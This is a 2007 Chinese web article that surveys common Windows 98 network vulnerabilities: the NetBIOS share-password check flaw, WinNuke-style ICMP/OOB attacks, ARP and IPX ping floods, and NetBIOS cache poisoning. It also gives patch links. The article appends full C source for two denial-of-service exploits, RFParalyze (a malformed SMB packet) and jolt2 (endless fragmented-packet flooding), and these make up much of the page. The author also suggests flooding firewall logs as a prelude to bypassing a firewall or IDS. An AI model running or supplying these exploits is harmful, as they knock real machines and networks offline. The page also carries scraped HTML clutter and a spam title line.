• <ruby id="5koa6"></ruby>
    <ruby id="5koa6"><option id="5koa6"><thead id="5koa6"></thead></option></ruby>

    <progress id="5koa6"></progress>

  • <strong id="5koa6"></strong>
  • win98常見漏洞

    發表于:2007-05-26來源:作者:點擊數: 標簽:
    1、共享密碼校驗漏洞 老漏洞了,綠盟袁哥發現的。微軟NETBIOS協議的口令校驗服務端在對客戶端的口令進行校驗時是以客戶端發送的長度數據為依據。如果客戶端設置數據包中密碼長度域為1, 并發送一個字節的明文口令給服務端。服務端就會將客戶端發來口令與服務




    1、共享密碼校驗漏洞 老漏洞了,綠盟袁哥發現的。微軟NETBIOS協議的口令校驗服務端在對客戶端的口令進行校驗時是以客戶端發送的長度數據為依據。如果客戶端設置數據包中密碼長度域為1, 并發送一個字節的明文口令給服務端。服務端就會將客戶端發來口令與服務端保存的共享口令的第一個字節進行明文比較,如果匹配就認為通過了驗證。 2、ICMP攻擊 補?。篽ttp://support.microsoft.com/support/kb/articles/Q154/1/74.asp 關于ICMP攻擊的有很多了,WINNUKE、SPING和TEARDROP,比如WINNUKE,可對使用Windows 3.11/95/NT操作系統的上網者進行攻擊。它可向某一IP地址發送“OOB”(OUT OF BAND)數據,并攻擊139端口(NETBIOS),如果攻擊者進行端口監聽的話,還可攻擊其它端口。當被攻擊的電腦收到“OOB"數據后,即無法對數據進行處理,并出現Internet連接中斷或藍屏幕死機等現象。 ICMP通常報告在處理數據報過程中的錯誤,在以下幾種情況下發送:當數據報不能到達目的地時,當網關已經失去緩存功能,當網關能夠引導主機在更短路由上發送。一般上網用戶可能不用到多少,不知道我理解得對不對,因此可以關閉ICMP。 而且shotgun早提出關于ICMP木馬的設計思路,臺灣的**實現了(具體的程序我忘記了),這種木馬可能對于只分析端口的防火墻防范木馬簡直是絕殺。 3、ARP 拒絕服務攻擊 影響WINDOWS98系統,當向運行Windows的主機發送大量無關的ARP數據包時,會導致系統耗盡所有的CPU和內存資源而停止響應。如果向廣播地址發送ARP請求時,可能導致整個居域網停止響應。 攻擊程序見:arpkill 4、IPX Ping 包拒絕服務漏洞 由于不正確的通過端口0x456發送一些不規范的IPX/SPX Ping包可能導致服務器出現拒絕服務攻擊。IPX/SPX協議在Windows 98默認安裝情況下是沒有安裝的,而在Windows 95默認安裝時如果系統檢測到網卡后此協議將自動安裝。如果IPX/SPX協議被禁止,Windows 9x 將接受特殊的畸形IPX Ping 包,而且發送源地址已被修改為廣播地址,并且將導致廣播紊亂,促使帶寬飽和,出現拒絕服務。如果源地址已被修改為廣播地址,這樣此網段中的每個機器都將響應此Ping請求,如此多的響應將導致網絡癱瘓。 5、NetBIOS 緩存漏洞 (抄來一大段,我還不了解這個漏洞)在Windows 95, 98, NT 4.0, and 2000中的NetBIOS高速緩存執行允許遠程插入動態緩存條目,而且可以移走動態和靜態緩存條目。這是由NetBIOS緩存的實現和CIFS(Common Internet File System)瀏覽協議之間的交互引起的。CIFS瀏覽協議用來生成網絡資源的列表,該協議被用在“網上鄰居”和“我的網絡”等服務中。它還定義了一些瀏覽幀,這些幀被封裝在NetBIOS數據包中。當從138號UDP端口接收到一個瀏覽幀的請求時,NetBIOS數據包中的信息被提取出來并添加到NetBIOS緩存中。這些信息包括源和目的地的NetBIOS名字、第二源IP地址以及IP頭。遠程的惡意用戶可以通過發送單播或廣播類型的UDP數據包,從而使得NetBIOS名字到IP地址的解析進行重定向,在其控制之下轉發到任意的IP地址。一旦NetBIOS緩存被UDP數據包破壞,就不再需要預測事務標識(據報道,事務標識是一個很容易預測的16 bit的標識)。為了刷新緩存中的動態條目,用戶可以發送一個正向名字查詢(Positive Name Query)響應,在該響應中提供另一個IP地址給NetBIOS名字映射。 安全建議:WINDOWS的NETBIOS有很多缺陷,建議對NETBIOS進行安全配置。 6、NetBIOS 空源主機名導致系統崩潰 當Windows 95/98收到一個NetBIOS會話的包,這個包中源主機名被設置成NULL,那么將導致發生不可預料的錯誤:系統崩潰,藍屏,重起動,死鎖或者丟失網絡連接等等。 攻擊程序見:netbios空原主機名.txt 7、無效驅動器類型拒絕服務漏洞 如果一個MicrosoftWindows9X客戶端連接到一個文件/打印共享服務器時,服務器返回一個錯誤驅動器類型,那么將導致客戶端崩潰,必須重新啟動來恢復正常正常功能。下列驅動器類型是Windows9X能識別的: 1)驅動器號: 2)LPTx: 3)COMMx 4)IPC 返回給客戶端的所有其他的驅動器類型會引起拒絕服務。 8、NetBIOS over TCP/IP 耗盡資源漏洞 微軟的執行NetBIOS可能由于一個遠程開發漏洞而導致拒絕服務攻擊。攻擊者能夠通過連接NBT端口而促使系統耗盡網絡資源并停止工作。 攻擊可通過如下方式來進行:初始化許多連接,然后關閉它們,讓目標機器上的TCP管套(socket)處于FINWAIT_1狀態。盡管這些管套最終將超時并被釋放,但攻擊者可以持續地發送更多請求,初始化并關閉新的連接,耗盡任何空閑的網絡資源。結果將導致NetBIOS拒絕正常的服務,直到攻擊停止。微軟在NT 4.0 sp6中發布了一個補丁來修補該漏洞。 簡單說來,DDOS攻擊基本是無法解決的,我特別喜歡,從SYN FLOOD理論上來說只要是有限帶寬的服務都會被攻擊到拒絕服務,服務器可能只是拒絕服務,而一般的PC可能就是系統資源耗盡了。而且,大量的DOS攻擊可以造成防火墻大量日志,甚至日志滿或者日志爆滿掉。天網據說是6萬記錄即滿,而6萬日志,可以很快就搞定,只要知道天網過濾哪些東西就攻擊哪些東西。呵呵,這就是強行突破FIREWALL或者IDS的前奏。 解決方法: 微軟已經針對此漏洞開發了補丁程序,下載地址: http://www.microsoft.com/Downloads/Release.asp?ReleaseID=25114 其他漏洞: Microsoft Windows Media Player .WMZ 任意 Java Applet 漏洞 測試方法: http://www.guninski.com/wmp7-3.html'中有詳細描述 以上內容只是一點簡介,限于自己的水平,難免有錯,歡迎大家指正。聯系:refdom@263.net -------------------------------------------------------------------- 附:一些測試程序 -------------------------------------------------------------------- ************************************************************ netbios空原主機名.txt ************************************************************ #include /* It's such a shame to waste */ #include /* this usable space. Instead, */ #include /* we'll just make it more */ #include /* props to the men and women */ #include /* (hi Tabi!) of #!adm and */ #include /* #!w00w00, because they rock */ #include /* so much. And we can't forget*/ #include /* our friends at eEye or */ #include /* Attrition. Oh, +hi Sioda. :) */ /* Magic winpopup message This is from \\Beav\beavis and says "yeh yeh" Ron and Marty should like the hardcoded values this has ;) */ char blowup[]= "\x00\x00\x00\x41\xff\x53\x4d\x42\xd0\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x19\x00\x04\x42\x45\x41\x56\x00\x04\x42\x45\x41\x56\x49" "\x53\x00\x01\x08\x00\x79\x65\x70\x20\x79\x65\x70\x00\x00"; struct sreq /* little structure of netbios session request */ { char first[5]; char yoname[32]; char sep[2]; char myname[32]; char end[1]; }; void Pad_Name(char *name1, char *name2); /* Thanks Antilove/ADM 4 codez!*/ int main(int argc, char *argv[]){ char buf[4000], myname[33], yoname[33]; struct sockaddr_in sin; int sox, connex, x; struct sreq smbreq; printf("RFParalyze -- this code by rfp/ADM/Wiretrip/ and dm/el8/\n"); if (argc < 3) { printf("Usage: RFParalyze \n"); printf(" --IP must be ip address, not dns\n"); printf(" --NetBIOS name must be in UPPER CASE\n\n"); exit(1);} printf("Greetz to el8.org, Technotronic, w00w00, USSR, and ADM!\n"); Pad_Name("WICCA",myname); /* greetz to Simple Nomad/NMRC */ myname[30]='A'; /* how was Beltaine? :) */ myname[31]='D'; Pad_Name(argv[2],yoname); yoname[30]='A'; yoname[31]='D'; printf("Trying %s as NetBIOS name %s \n",argv[1],argv[2]); sin.sin_addr.s_addr = inet_addr(argv[1]); sin.sin_family = AF_INET; sin.sin_port = htons(139); sox = socket(AF_INET,SOCK_STREAM,0); if((connex = connect(sox,(struct sockaddr_in *)&sin,sizeof(sin))) < 0){ perror("Problems connecting: "); exit(1);} memset(buf,0,4000); memcpy(smbreq.first,"\x81\x00\x00\x44\x20",5); /*various netbios stuffz*/ memcpy(smbreq.sep,"\x00\x20",2); /*no need to worry about*/ memcpy(smbreq.end,"\x00",1); /*what it does :) */ strncpy(smbreq.myname,myname,32); strncpy(smbreq.yoname,yoname,32); write(sox,&smbreq,72); /* send initial request */ x=read(sox,buf,4000); /* get their response */ if(x<1){ printf("Problem, didn't get response\n"); exit(1);} if(buf[0]=='\x82') printf("Enemy engaged, going in for the kill..."); else {printf("We didn't get back the A-OK, bailing.\n"); exit(1);} write(sox,&blowup,72); /* send the magic message >:) */ x=read(sox,buf,4000); /* we really don't care, but sure */ close(sox); printf("done\n"); } void Pad_Name(char *name1, char *name2) { char c, c1, c2; int i, len; len = strlen(name1); for (i = 0; i < 16; i++) { if (i >= len) { c1 = 'C'; c2 = 'A'; /* CA is a space */ } else { c = name1[i]; c1 = (char)((int)c/16 + (int)'A'); c2 = (char)((int)c%16 + (int)'A'); } name2[i*2] = c1; name2[i*2+1] = c2; } name2[32] = 0; /* Put in the null ...*/ } ************************************************************ Windows Dos代碼 ************************************************************ 文件: jolt2.c 描述: 這是Windows-of-serice攻擊源代碼,由Razor team編寫。這段程序能導致cpu使用達到100%,最后系統癱瘓。 測試平臺: Windows 98 Windows NT/SP5,6 Windows 2000 #include #include #include #include #include #include #include #include #include #include #include struct _pkt { struct iphdr ip; union { struct icmphdr icmp; struct udphdr udp; } proto; char data; } pkt; int icmplen = sizeof(struct icmphdr), udplen = sizeof(struct udphdr), iplen = sizeof(struct iphdr), spf_sck; void usage(char *pname) { fprintf (stderr, "Usage: %s [-s src_addr] [-p port] dest_addr\n", pname); fprintf (stderr, "Note: UDP used if a port is specified, otherwise ICMP\n"); exit(0); } u_long host_to_ip(char *host_name) { static u_long ip_bytes; struct hostent *res; res = gethostbyname(host_name); if (res == NULL) return (0); memcpy(&ip_bytes, res->h_addr, res->h_length); return (ip_bytes); } void quit(char *reason) { perror(reason); close(spf_sck); exit(-1); } int do_frags (int sck, u_long src_addr, u_long dst_addr, int port) { int bs, psize; unsigned long x; struct sockaddr_in to; to.sin_family = AF_INET; to.sin_port = 1235; to.sin_addr.s_addr = dst_addr; if (port) psize = iplen + udplen + 1; else psize = iplen + icmplen + 1; memset(&pkt, 0, psize); pkt.ip.version = 4; pkt.ip.ihl = 5; pkt.ip.tot_len = htons(iplen + icmplen) + 40; pkt.ip.id = htons(0x455); pkt.ip.ttl = 255; pkt.ip.protocol = (port ? IPPROTO_UDP : IPPROTO_ICMP); pkt.ip.saddr = src_addr; pkt.ip.daddr = dst_addr; pkt.ip.frag_off = htons (8190); if (port) { pkt.proto.udp.source = htons(port|1235); pkt.proto.udp.dest = htons(port); pkt.proto.udp.len = htons(9); pkt.data = 'a'; } else { pkt.proto.icmp.type = ICMP_ECHO; pkt.proto.icmp.code = 0; pkt.proto.icmp.checksum = 0; } while (1) { bs = sendto(sck, &pkt, psize, 0, (struct sockaddr *) &to, sizeof(struct sockaddr)); } return bs; } int main(int argc, char *argv[]) { u_long src_addr, dst_addr; int i, bs=1, port=0; char hostname[32]; if (argc < 2) usage (argv[0]); gethostname (hostname, 32); src_addr = host_to_ip(hostname); while ((i = getopt (argc, argv, "s:p:h")) != EOF) { switch (i) { case 's': dst_addr = host_to_ip(optarg); if (!dst_addr) quit("Bad source address given."); break; case 'p': port = atoi(optarg); if ((port <=0) || (port > 65535)) quit ("Invalid port number given."); break; case 'h': default: usage (argv[0]); } } dst_addr = host_to_ip(argv[argc-1]); if (!dst_addr) quit("Bad destination address given."); spf_sck = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (!spf_sck) quit("socket()"); if (setsockopt(spf_sck, IPPROTO_IP, IP_HDRINCL, (char *)&bs, sizeof(bs)) < 0) quit("IP_HDRINCL"); do_frags (spf_sck, src_addr, dst_addr, port);

    原文轉自:http://www.kjueaiud.com

    老湿亚洲永久精品ww47香蕉图片_日韩欧美中文字幕北美法律_国产AV永久无码天堂影院_久久婷婷综合色丁香五月

  • <ruby id="5koa6"></ruby>
    <ruby id="5koa6"><option id="5koa6"><thead id="5koa6"></thead></option></ruby>

    <progress id="5koa6"></progress>

  • <strong id="5koa6"></strong>